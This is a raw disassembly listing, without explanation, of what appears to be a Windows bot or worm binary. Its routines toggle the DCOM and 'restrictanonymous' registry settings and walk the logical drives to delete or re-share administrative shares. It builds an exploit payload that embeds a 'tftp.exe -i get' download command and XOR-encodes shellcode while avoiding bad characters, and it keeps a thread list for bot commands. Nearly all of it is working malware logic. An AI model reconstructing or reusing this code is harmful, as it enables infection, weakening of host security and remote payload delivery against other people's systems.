		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43A2CC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43A394	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		jmp	loc_414597
sub_414569	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41465A	proc near		; DATA XREF: sub_40CE55+59A9o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4146A1
		call	sub_4146BA
		jmp	short loc_4146A6
; ---------------------------------------------------------------------------


loc_4146A1:				; CODE XREF: sub_41465A+3Ej
		call	sub_4149DE


loc_4146A6:				; CODE XREF: sub_41465A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_41465A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146BA	proc near		; CODE XREF: sub_41465A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43A468, edi
		jnz	loc_4147EC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414745
		mov	ax, word_4379D0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_414727
		push	offset unk_43798C
		jmp	short loc_41472C
; ---------------------------------------------------------------------------


loc_414727:				; CODE XREF: sub_4146BA+64j
		push	offset dword_43795C


loc_41472C:				; CODE XREF: sub_4146BA+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_414758
; ---------------------------------------------------------------------------


loc_414745:				; CODE XREF: sub_4146BA+36j
		lea	eax, [ebp+var_214]
		push	offset unk_437918
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_414758:				; CODE XREF: sub_4146BA+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414777
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414777:				; CODE XREF: sub_4146BA+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4147E5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4147C7
		push	offset unk_4378B4
		jmp	short loc_4147CC
; ---------------------------------------------------------------------------


loc_4147C7:				; CODE XREF: sub_4146BA+104j
		push	offset unk_43786C


loc_4147CC:				; CODE XREF: sub_4146BA+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_4147FF
; ---------------------------------------------------------------------------


loc_4147E5:				; CODE XREF: sub_4146BA+E2j
		push	offset unk_43781C
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------


loc_4147EC:				; CODE XREF: sub_4146BA+13j
		push	offset unk_4377D8


loc_4147F1:				; CODE XREF: sub_4146BA+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_4147FF:				; CODE XREF: sub_4146BA+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41481E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_41481E:				; CODE XREF: sub_4146BA+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		cmp	dword_43A490, edi
		pop	ecx
		jnz	loc_414999
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_414841:				; CODE XREF: sub_4146BA+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43A2E4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4148DE
		cmp	eax, 0EAh
		jz	short loc_4148DE
		mov	esi, offset off_437628


loc_414872:				; CODE XREF: sub_4146BA+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_41339D
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414889
		push	offset unk_4377A0
		jmp	short loc_41488E
; ---------------------------------------------------------------------------


loc_414889:				; CODE XREF: sub_4146BA+1C6j
		push	offset unk_437760


loc_41488E:				; CODE XREF: sub_4146BA+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4148C1
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_4148C1:				; CODE XREF: sub_4146BA+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437648
		jl	short loc_414872
		jmp	loc_414976
; ---------------------------------------------------------------------------


loc_4148DE:				; CODE XREF: sub_4146BA+1AAj
					; sub_4146BA+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41496D


loc_4148ED:				; CODE XREF: sub_4146BA+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_4179DC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_414962
		push	edi
		call	sub_41328A
		push	eax
		push	0
		call	sub_41339D
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41491C
		push	offset unk_437728
		jmp	short loc_414921
; ---------------------------------------------------------------------------


loc_41491C:				; CODE XREF: sub_4146BA+259j
		push	offset unk_4376E8


loc_414921:				; CODE XREF: sub_4146BA+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414955
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414955:				; CODE XREF: sub_4146BA+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_414962:				; CODE XREF: sub_4146BA+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4148ED
		xor	edi, edi


loc_41496D:				; CODE XREF: sub_4146BA+22Dj
		push	[ebp+var_8]
		call	dword_43A428


loc_414976:				; CODE XREF: sub_4146BA+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_414841
		lea	eax, [ebp+var_214]
		push	offset unk_4376AC
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4149AC
; ---------------------------------------------------------------------------


loc_414999:				; CODE XREF: sub_4146BA+177j
		lea	eax, [ebp+var_214]
		push	offset unk_437668
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_4149AC:				; CODE XREF: sub_4146BA+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4149CA
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_4149CA:				; CODE XREF: sub_4146BA+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4146BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149DE	proc near		; CODE XREF: sub_41465A:loc_4146A1p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43A468, ebx
		push	esi
		jnz	loc_414B0C
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414A69
		mov	ax, word_437BD8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_414A4B
		push	offset unk_437BA0
		jmp	short loc_414A50
; ---------------------------------------------------------------------------


loc_414A4B:				; CODE XREF: sub_4149DE+64j
		push	offset dword_437B70


loc_414A50:				; CODE XREF: sub_4149DE+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_414A7C
; ---------------------------------------------------------------------------


loc_414A69:				; CODE XREF: sub_4149DE+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437918
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_414A7C:				; CODE XREF: sub_4149DE+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A9B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414A9B:				; CODE XREF: sub_4149DE+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43A408	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414B05
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43A3BC	; RegSetValueExA
		test	eax, eax
		jz	short loc_414AE7
		push	offset unk_437B20
		jmp	short loc_414AEC
; ---------------------------------------------------------------------------


loc_414AE7:				; CODE XREF: sub_4149DE+100j
		push	offset unk_437AD8


loc_414AEC:				; CODE XREF: sub_4149DE+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43A374	; RegCloseKey
		jmp	short loc_414B1F
; ---------------------------------------------------------------------------


loc_414B05:				; CODE XREF: sub_4149DE+E2j
		push	offset unk_437A88
		jmp	short loc_414B11
; ---------------------------------------------------------------------------


loc_414B0C:				; CODE XREF: sub_4149DE+13j
		push	offset unk_4377D8


loc_414B11:				; CODE XREF: sub_4149DE+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_414B1F:				; CODE XREF: sub_4149DE+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B3E
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414B3E:				; CODE XREF: sub_4149DE+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		cmp	dword_43A490, ebx
		pop	ecx
		jnz	loc_414CB0
		push	edi
		mov	esi, offset off_437628
		mov	edi, 200h


loc_414B62:				; CODE XREF: sub_4149DE+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4132F1
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414B7D
		push	offset unk_437A54
		jmp	short loc_414B82
; ---------------------------------------------------------------------------


loc_414B7D:				; CODE XREF: sub_4149DE+196j
		push	offset unk_437A18


loc_414B82:				; CODE XREF: sub_4149DE+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414BB1
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414BB1:				; CODE XREF: sub_4149DE+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437638
		jl	short loc_414B62
		call	dword_421148	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_414C98


loc_414BDC:				; CODE XREF: sub_4149DE+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414C8D
		cmp	bl, 41h
		jz	loc_414C8D
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_415A6A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_415A6A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43A3F8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_414C8D
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4132F1
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_414C4B
		push	offset unk_437A54
		jmp	short loc_414C50
; ---------------------------------------------------------------------------


loc_414C4B:				; CODE XREF: sub_4149DE+264j
		push	offset unk_437A18


loc_414C50:				; CODE XREF: sub_4149DE+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414C80
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414C80:				; CODE XREF: sub_4149DE+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_414C8D:				; CODE XREF: sub_4149DE+206j
					; sub_4149DE+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414BDC


loc_414C98:				; CODE XREF: sub_4149DE+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4379D4
		push	eax
		call	sub_4154E7
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414CC3
; ---------------------------------------------------------------------------


loc_414CB0:				; CODE XREF: sub_4149DE+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437668
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx


loc_414CC3:				; CODE XREF: sub_4149DE+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414CE1
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_414CE1:				; CODE XREF: sub_4149DE+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4149DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CF5	proc near		; CODE XREF: sub_414D15+Ap
					; sub_414DED+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CF0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414CF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D15	proc near		; CODE XREF: sub_414E04+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414CF5
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414D32
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414D32:				; CODE XREF: sub_414D15+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415CF0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415CF0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_437C70, eax
		lea	eax, [edi+1]
		mov	dword_437C91, eax
		lea	eax, [edi+17h]
		mov	dword_437C89, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437C0C
		push	ebx
		mov	dword_437C9F, eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155D0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4155D0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437C95
		push	esi
		call	sub_4155D0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414D15	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DED	proc near		; CODE XREF: sub_414E04+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414CF5
		push	eax
		call	sub_414E71
		add	esp, 0Ch
		retn
sub_414DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E04	proc near		; CODE XREF: sub_403178+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414DED
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414E24
		cmp	eax, 0FFFFh
		jbe	short loc_414E28


loc_414E24:				; CODE XREF: sub_414E04+17j
		xor	eax, eax
		jmp	short loc_414E6D
; ---------------------------------------------------------------------------


loc_414E28:				; CODE XREF: sub_414E04+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414CF5
		add	eax, 101h
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414CF5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414D15
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414E8C
		push	esi
		mov	edi, eax
		call	sub_415E3D
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_414E6D:				; CODE XREF: sub_414E04+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E71	proc near		; CODE XREF: sub_414DED+Ep
					; sub_414E8C+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414E7A
		inc	ecx


loc_414E7A:				; CODE XREF: sub_414E71+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414E71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E8C	proc near		; CODE XREF: sub_414E04+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_414EA8
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_414EAB


loc_414EA8:				; CODE XREF: sub_414E8C+8j
					; sub_414E8C+Ej ...
		inc	[ebp+arg_C]


loc_414EAB:				; CODE XREF: sub_414E8C+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_414ED3
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414ECC
		cmp	al, 0Dh
		jz	short loc_414ECC
		cmp	al, 5Ch
		jz	short loc_414ECC
		test	al, al
		jnz	short loc_414ED3


loc_414ECC:				; CODE XREF: sub_414E8C+32j
					; sub_414E8C+36j ...
		add	[ebp+arg_C], 100h


loc_414ED3:				; CODE XREF: sub_414E8C+28j
					; sub_414E8C+3Ej
		push	[ebp+arg_C]
		call	sub_414E71
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414EEB
		cmp	eax, 0FFFFh
		jbe	short loc_414EF2


loc_414EEB:				; CODE XREF: sub_414E8C+56j
		xor	eax, eax
		jmp	loc_414F90
; ---------------------------------------------------------------------------


loc_414EF2:				; CODE XREF: sub_414E8C+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_469468
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_414F22


loc_414F06:				; CODE XREF: sub_414E8C+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_414F19
		cmp	al, 0Ah
		jz	short loc_414F19
		cmp	al, 0Dh
		jz	short loc_414F19
		cmp	al, 5Ch
		jnz	short loc_414F1D


loc_414F19:				; CODE XREF: sub_414E8C+7Fj
					; sub_414E8C+83j ...
		inc	bl
		xor	edx, edx


loc_414F1D:				; CODE XREF: sub_414E8C+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_414F06


loc_414F22:				; CODE XREF: sub_414E8C+78j
		cmp	ecx, esi
		mov	byte_469468, bl
		ja	short loc_414F4E
		push	15h
		push	offset loc_437BF4
		push	[ebp+arg_0]
		mov	byte_437C01, cl
		mov	byte_437C05, bl
		call	sub_4155D0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414F6F
; ---------------------------------------------------------------------------


loc_414F4E:				; CODE XREF: sub_414E8C+9Ej
		push	17h
		push	offset loc_437BDC
		push	[ebp+arg_0]
		mov	word_437BEA, cx
		mov	byte_437BEF, bl
		call	sub_4155D0
		add	esp, 0Ch
		push	17h


loc_414F6F:				; CODE XREF: sub_414E8C+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414F8B
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_414F7D:				; CODE XREF: sub_414E8C+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414F7D


loc_414F8B:				; CODE XREF: sub_414E8C+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_414F90:				; CODE XREF: sub_414E8C+61j
		pop	esi
		leave
		retn
sub_414E8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F93	proc near		; CODE XREF: sub_406100+220p
					; sub_407276+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43F328


loc_414F9B:				; CODE XREF: sub_414F93+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414FAF
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_468818
		jl	short loc_414F9B
		jmp	short loc_414FFA
; ---------------------------------------------------------------------------


loc_414FAF:				; CODE XREF: sub_414F93+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43F328[esi]
		push	eax
		call	sub_416D40
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43F528[esi], eax
		and	dword_43F52C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43F530[esi], 0
		mov	dword_43F534[esi], eax
		and	byte_43F540[esi], 0
		pop	esi


loc_414FFA:				; CODE XREF: sub_414F93+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FFE	proc near		; DATA XREF: sub_40CE55+5631o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415050
		push	[ebp+var_14]
		call	sub_4152AF
		add	esp, 14h
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_414FFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415050	proc near		; CODE XREF: sub_414FFE+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43F328


loc_41507A:				; CODE XREF: sub_415050+78j
		cmp	byte ptr [esi],	0
		jz	short loc_4150BB
		cmp	[ebp+arg_C], 0
		jnz	short loc_41508E
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_4150BB


loc_41508E:				; CODE XREF: sub_415050+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
